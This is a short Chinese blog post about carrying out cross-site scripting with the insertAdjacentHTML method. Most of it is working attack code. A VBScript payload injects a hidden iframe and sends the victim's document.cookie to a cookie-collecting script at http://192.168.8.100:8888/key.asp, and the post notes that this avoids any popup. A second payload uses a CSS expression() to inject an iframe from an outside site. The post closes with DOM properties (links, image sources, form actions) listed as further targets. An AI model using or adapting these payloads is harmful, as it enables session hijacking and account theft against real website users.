现在的位置: 首页 > 综合 > 正文

利用insertAdjacentHTML方法跨站

2012年10月06日 ⁄ 综合 ⁄ 共 724字 ⁄ 字号 评论关闭
object.insertAdjacentHTML(sWhere, sText)
第二个“HTML代码”是要插入的内容。第一个参数有四个变量,他们的名称及位置是这样的:“["beforeBegin"在开始标记前]<div id=test(开始标记)>["afterBegin"在开始标记后] 该标记中显示的文字 ["beforeEnd"在结束标记前]</div(结束标记)>["afterEnd"在结束标记后] ”

简单利用方法(这样避免了弹窗):

<body>
<script language=vbscript>
Call document.body.insertAdjacentHTML("beforeEnd","<div style=display:none><iframe id=sendmessage></iframe></div>")
Call sendmessage.window.open("http://192.168.8.100:8888/key.asp?da="+Document.cookie,"_self")
</script>
</body>

其中key.asp是一个接收COOKIE的脚本。

另一个:

<b style="left:expression(document.body.insertAdjacentHTML('afterbegin','<iframe width=200 height=200 src=http://www.haiyangtop.net/></iframe>'))"></b>

=========记下几个

document.links(i).href
document.images(i).src
document.forms(i).action

抱歉!评论已关闭.